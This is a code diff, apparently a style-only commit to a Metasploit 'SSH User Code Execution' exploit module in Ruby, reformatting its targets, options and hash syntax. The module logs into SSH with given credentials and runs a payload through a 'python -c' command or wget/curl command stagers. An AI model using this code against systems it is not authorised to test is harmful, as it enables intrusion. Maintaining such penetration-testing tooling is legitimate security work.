@@ -16,11 +16,11 @@ class MetasploitModule < Msf::Exploit::Remote
16
16
def initialize
17
17
super (
18
18
'Name' => 'SSH User Code Execution' ,
19
- 'Description' => %q{
19
+ 'Description' => %q(
20
20
This module connects to the target system and executes the necessary
21
21
commands to run the specified payload via SSH. If a native payload is
22
22
specified, an appropriate stager will be used.
23
- } ,
23
+ ) ,
24
24
'Author' => [ 'Spencer McIntyre' , 'Brandon Knight' ] ,
25
25
'References' =>
26
26
[
@@ -39,63 +39,72 @@ def initialize
39
39
'BadChars' => "" ,
40
40
'DisableNops' => true
41
41
} ,
42
- 'Platform' => %w{ linux osx python } ,
43
- 'CmdStagerFlavor' => %w{ bourne echo printf wget } ,
42
+ 'Platform' => %w[ linux osx python ] ,
43
+ 'CmdStagerFlavor' => %w[ bourne echo printf wget ] ,
44
44
'Targets' =>
45
45
[
46
- [ 'Linux x86' ,
46
+ [
47
+ 'Linux x86' ,
47
48
{
48
49
'Arch' => ARCH_X86 ,
49
50
'Platform' => 'linux'
50
51
}
51
52
] ,
52
- [ 'Linux x64' ,
53
+ [
54
+ 'Linux x64' ,
53
55
{
54
56
'Arch' => ARCH_X64 ,
55
57
'Platform' => 'linux'
56
58
}
57
59
] ,
58
- [ 'Linux armle' ,
60
+ [
61
+ 'Linux armle' ,
59
62
{
60
63
'Arch' => ARCH_ARMLE ,
61
64
'Platform' => 'linux'
62
65
}
63
66
] ,
64
- [ 'Linux mipsle' ,
67
+ [
68
+ 'Linux mipsle' ,
65
69
{
66
- 'Arch' => ARCH_MIPSLE ,
67
- 'Platform' => 'linux' ,
68
- 'CmdStagerFlavor' => %w{ curl wget }
70
+ 'Arch' => ARCH_MIPSLE ,
71
+ 'Platform' => 'linux' ,
72
+ 'CmdStagerFlavor' => %w[ curl wget ]
69
73
}
70
74
] ,
71
- [ 'Linux mipsbe' ,
75
+ [
76
+ 'Linux mipsbe' ,
72
77
{
73
- 'Arch' => ARCH_MIPSBE ,
74
- 'Platform' => 'linux' ,
75
- 'CmdStagerFlavor' => %w{ wget }
78
+ 'Arch' => ARCH_MIPSBE ,
79
+ 'Platform' => 'linux' ,
80
+ 'CmdStagerFlavor' => %w[ wget ]
76
81
}
77
82
] ,
78
- [ 'Linux aarch64' ,
83
+ [
84
+ 'Linux aarch64' ,
79
85
{
80
86
'Arch' => ARCH_AARCH64 ,
81
87
'Platform' => 'linux'
82
88
}
83
89
] ,
84
- [ 'OSX x86' ,
90
+ [
91
+ 'OSX x86' ,
85
92
{
86
- 'Arch' => ARCH_X86 ,
87
- 'Platform' => 'osx' ,
88
- 'CmdStagerFlavor' => %w{ curl wget }
89
- }
93
+ 'Arch' => ARCH_X86 ,
94
+ 'Platform' => 'osx' ,
95
+ 'CmdStagerFlavor' => %w[ curl wget ]
96
+ }
90
97
] ,
91
- [ 'OSX x64' ,
98
+ [
99
+ 'OSX x64' ,
92
100
{
93
- 'Arch' => ARCH_X64 ,
94
- 'Platform' => 'osx' ,
95
- 'CmdStagerFlavor' => %w{ curl wget }
101
+ 'Arch' => ARCH_X64 ,
102
+ 'Platform' => 'osx' ,
103
+ 'CmdStagerFlavor' => %w[ curl wget ]
96
104
}
97
105
] ,
98
- [ 'Python' ,
106
+ [
107
+ 'Python' ,
99
108
{
100
109
'Arch' => ARCH_PYTHON ,
101
110
'Platform' => 'python'
@@ -136,16 +145,16 @@ def execute_command(cmd, opts = {})
136
145
def do_login ( ip , user , pass , port )
137
146
factory = ssh_socket_factory
138
147
opt_hash = {
139
- : auth_methods => [ 'password' , 'keyboard-interactive' ] ,
140
- : port => port ,
141
- : use_agent => false ,
142
- : config => false ,
143
- : password => pass ,
144
- : proxy => factory ,
145
- : non_interactive => true
148
+ auth_methods : [ 'password' , 'keyboard-interactive' ] ,
149
+ port : port ,
150
+ use_agent : false ,
151
+ config : false ,
152
+ password : pass ,
153
+ proxy : factory ,
154
+ non_interactive : true
146
155
}
147
156
148
- opt_hash . merge! ( :verbose => :debug ) if datastore [ 'SSH_DEBUG' ]
157
+ opt_hash [ :verbose ] = :debug if datastore [ 'SSH_DEBUG' ]
149
158
150
159
begin
151
160
self . ssh_socket = Net ::SSH . start ( ip , user , opt_hash )
@@ -172,7 +181,7 @@ def exploit
172
181
if target [ 'Platform' ] == 'python'
173
182
execute_command ( "python -c \" #{ payload . encoded } \" " )
174
183
else
175
- execute_cmdstager ( { : linemax => 500 } )
184
+ execute_cmdstager ( linemax : 500 )
176
185
end
177
186
178
187
self . ssh_socket . close
0 commit comments